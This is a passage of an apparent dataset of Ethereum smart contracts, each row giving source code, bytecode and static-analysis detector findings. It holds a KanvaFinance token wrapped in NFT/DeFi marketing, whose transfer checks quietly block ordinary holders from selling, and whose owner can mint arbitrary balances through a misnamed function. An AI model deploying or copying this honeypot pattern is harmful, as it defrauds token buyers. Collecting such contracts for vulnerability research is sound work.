10da5565b50505050565b4690565b6000838301826001600160601b038087169083161015610d9c5760405162461bcd60e51b81526004016105949190611739565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610dd057506000816001600160601b0316115b15610cd6576001600160a01b03831615610e88576001600160a01b03831660009081526004602052604081205463ffffffff169081610e10576000610e4f565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e7682856040518060600160405280602881526020016119a460289139610af1565b9050610e8486848484610f33565b5050505b6001600160a01b03821615610cd6576001600160a01b03821660009081526004602052604081205463ffffffff169081610ec3576000610f02565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f2982856040518060600160405280602781526020016119fc60279139610d69565b9050610a47858484845b6000610f5743604051806060016040528060348152602001611932603491396110e8565b905060008463ffffffff16118015610fa057506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15610fff576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b0385160217905561109e565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110d99291906117fd565b60405180910390a25050505050565b600081600160201b8410610ae95760405162461bcd60e51b81526004016105949190611739565b604080518082019091526000808252602082015290565b8035610399816118a5565b8035610399816118b9565b8035610399816118c2565b8035610399816118cb565b60006020828403121561116457600080fd5b60006111708484611126565b949350505050565b6000806040838503121561118b57600080fd5b60006111978585611126565b92505060206111a885828601611126565b9150509250929050565b6000806000606084860312156111c757600080fd5b60006111d38686611126565b93505060206111e486828701611126565b92505060406111f586828701611131565b9150509250925092565b6000806040838503121561121257600080fd5b600061121e8585611126565b92505060206111a885828601611131565b60008060008060008060c0878903121561124857600080fd5b60006112548989611126565b965050602061126589828a01611131565b955050604061127689828a01611131565b945050606061128789828a01611147565b935050608061129889828a01611131565b92505060a06112a989828a01611131565b9150509295509295509295565b600080604083850312156112c957600080fd5b60006112d58585611126565b92505060206111a88582860161113c565b6112ef8161182a565b82525050565b6112ef81611835565b6112ef8161183a565b6112ef6113138261183a565b61183a565b600061132382611818565b61132d818561181c565b935061133d81856020860161186f565b6113468161189b565b9093019392505050565b600061135d60238361181c565b7f417274656d3a3a64656c656761746542795369673a20696e76616c6964206e6f8152626e636560e81b602082015260400192915050565b60006113a2600283611825565b61190160f01b815260020192915050565b60006113c060278361181c565b7f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6000611409603a8361181c565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b600061146860278361181c565b7f417274656d3a3a64656c656761746542795369673a207369676e617475726520815266195e1c1a5c995960ca1b602082015260400192915050565b60006114b1604383611825565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061151c603c8361181c565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b600061157b60278361181c565b7f417274656d3a3a64656c656761746542795369673a20696e76616c6964207369815266676e617475726560c81b602082015260400192915050565b60006115c4603a83611825565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6112ef81611849565b6112ef81611852565b6112ef81611864565b6112ef81611858565b600061164582611395565b91506116518285611307565b6020820191506116618284611307565b5060200192915050565b6000610399826114a4565b6000610399826115b7565b6020810161039982846112e6565b6020810161039982846112f5565b6020810161039982846112fe565b608081016116b982876112fe565b6116c660208301866112e6565b6116d360408301856112fe565b6116e060608301846112fe565b95945050505050565b608081016116f782876112fe565b61170460208301866112fe565b61171160408301856112fe565b6116e060608301846112e6565b6080810161172c82876112fe565b6116c6602083018661161f565b602080825281016105038184611318565b6020808252810161039981611350565b60208082528101610399816113b3565b60208082528101610399816113fc565b602080825281016103998161145b565b602080825281016103998161150f565b602080825281016103998161156e565b602081016103998284611616565b604081016117c68285611616565b6105036020830184611631565b60208101610399828461161f565b602081016103998284611628565b602081016103998284611631565b6040810161180b8285611628565b6105036020830184611628565b5190565b90815260200190565b919050565b60006103998261183d565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061039982611858565b60005b8381101561188a578181015183820152602001611872565b83811115610d5f5750506000910152565b601f01601f191690565b6118ae8161182a565b811461053457600080fd5b6118ae8161183a565b6118ae81611849565b6118ae8161185256fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365417274656d3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473417274656d3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773417274656d3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a365627a7a72315820948ea1f9391e02177e5e20e203fdeef9828fb56a659bd43d953a6cce8a11a56c6c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 949 |
0x54698263f0dc9fea49fc4b158e5e523cad7e56a5 | /**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
/*
Starting when the lines and colors meet the canvas, a work of art is born. From the mind of its creator, an idea take its new form. Allow ourselves to be a witness of a process where art, NFT, and DeFi link together in a platform. A place where users and supporters are allowed to farm and to collect NFT cards that feature their creation.
Kanva embarks on its journey in becoming a way for artists and supporters to utilize their talents and make maximum gain from trading precious NFT collectibles. The NFT and DeFi market are slowly making trends and gaining momentum that its billion-dollar industry is worth every attention it’s gaining now. And, this won’t pass the attention of a group of anonymous team of Artists, Developers, Programmers, and Cryptocurrency Enthusiasts that want artists to be part of this chance to empower their artwork.
By carefully planning in constructing the Kanva concept, NFT’s collection, economic model, and its governance Kanva are now ready to make its mission and vision realize. In becoming a bridge between DeFi and NFT, people can engage in various digital artworks and make gains from it through farming limited NFT. Also, providing the capability to sell these cards to decentralized NFT markets.
Currently, artists around the world have limited ways of making an entry in the Ethereum blockchain, and this problem of accessibility is one of the things Kanva wants to answer. Kanva will be an artist platform in bridging their precious artwork into NFT and DeFi. This seeming integration is crucial in making sure that we redefine how arts should be bought and sold. Furthermore, it also aims to facilitate redesigning the traditional concept of art bidding to blockchain-based, decentralized finance using Non-Fungible Token integration.
And now, as we move in this mission of bridging the value of art through DeFi, we are excited to have you as our supporter. Together we are going to create a community where every member is valued and treated with high importance. As we move, we will give you an update on the progress of this project.
Today is the start of this journey and the start of the line and initial colors of a picture we are trying to create, a new and energizing platform called KANVA.
KANVA is a platform based on Ethereum blockchain established to be the intermediary between traditional digital arts and NFT by transforming these digital arts into valuable cards through decentralized finance using NFT.
By this, KANVA will be true to its mission of empowering artists and the crypto community in bringing the value of art through decentralized finance.
How was KANVA able to achieve this?
KANVA will achieve this by its economic model, better known as tokenomics. First, KANVA Tokenomics will begin by issuing its token, KANVA (KNV). KNV will run natively on the Ethereum blockchain with ERC20, and by this transaction and exchanges in the platform will be easier and convenient.
At the start of the project, KANVA will release 48,000 KNV that will be divided into the following: 40% (19,200 KNV) for Token Sale, 13% (6,240 KNV) to be used in UNISWAP Initial Liquidity, 27% (12,960 KNV) for Ecosystem Fund which will be used for Liquidity Farming in the platform, a 7% (3,360 KNV) Future Development allocation, another 3% (1,440 KNV) allocation that will be utilized for Partnership (3 months lock, and the remaining released monthly for one (1) year after).
Lastly, 10% (4,800 KNV) are going to the Team that is three (3) months lock, and the remaining released monthly for one (1) year after. These allocations ensure the community that every token is fairly allocated and will give the platform integrity and worthy of the trust of its supporters.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KanvaFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820391c779b9408443216ea3d2bc81e3b597c4eee70ceb253c7b09a8bef2824c80864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 950 |
0x2D358778da80081cd7F5865c5b7c49f45ebAa7cB | pragma solidity 0.4.13;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract VeritasToken is StandardToken, Ownable
{
string public name = "Veritas Group Limited Equity Token";
string public symbol = "VGLE";
uint public decimals = 8;
uint public buyRate = 251;
uint public sellRate = 251;
bool public allowBuying = true;
bool public allowSelling = true;
uint private INITIAL_SUPPLY = 120*10**6; // 120 Millions
function () payable
{
BuyTokens(msg.sender);
}
function VeritasToken()
{
owner = msg.sender;
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
function transferOwnership(address newOwner)
onlyOwner
{
address oldOwner = owner;
balances[newOwner] = balances[newOwner].add(balances[owner]);
balances[owner] = 0;
super.transferOwnership(newOwner);
OwnerTransfered(oldOwner, newOwner);
}
function ChangeBuyRate(uint newRate)
onlyOwner
{
require(newRate > 0);
uint oldRate = buyRate;
buyRate = newRate;
BuyRateChanged(oldRate, newRate);
}
function ChangeSellRate(uint newRate)
onlyOwner
{
require(newRate > 0);
uint oldRate = sellRate;
sellRate = newRate;
SellRateChanged(oldRate, newRate);
}
function BuyTokens(address beneficiary)
OnlyIfBuyingAllowed
payable
{
require(beneficiary != 0x0);
require(beneficiary != owner);
require(msg.value > 0);
uint weiAmount = msg.value;
uint etherAmount = WeiToEther(weiAmount);
uint tokens = etherAmount.mul(buyRate);
balances[beneficiary] = balances[beneficiary].add(tokens);
balances[owner] = balances[owner].sub(tokens);
TokenPurchase(msg.sender, beneficiary, etherAmount, tokens, buyRate);
}
function SellTokens(uint amount)
OnlyIfSellingAllowed
{
require(msg.sender != owner);
require(msg.sender != 0x0);
require(amount > 0);
require(balances[msg.sender] >= amount);
balances[owner] = balances[owner].add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
uint checkAmount = EtherToWei(amount.div(sellRate));
if (!msg.sender.send(checkAmount))
revert();
else
TokenSold(msg.sender, checkAmount, sellRate);
}
function RetrieveFunds()
onlyOwner
{
owner.transfer(this.balance);
}
function Destroy()
onlyOwner
{
selfdestruct(owner);
}
function WeiToEther(uint v) internal
returns (uint)
{
require(v > 0);
return v.div(1000000000000000000);
}
function EtherToWei(uint v) internal
returns (uint)
{
require(v > 0);
return v.mul(1000000000000000000);
}
function ToggleFreezeBuying()
onlyOwner
{ allowBuying = !allowBuying; }
function ToggleFreezeSelling()
onlyOwner
{ allowSelling = !allowSelling; }
modifier OnlyIfBuyingAllowed()
{ require(allowBuying); _; }
modifier OnlyIfSellingAllowed()
{ require(allowSelling); _; }
event OwnerTransfered(address oldOwner, address newOwner);
event BuyRateChanged(uint oldRate, uint newRate);
event SellRateChanged(uint oldRate, uint newRate);
event TokenSold(address indexed seller, uint amountInEther, uint sellRate);
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 amountInEther,
uint256 tokens,
uint buyRate);
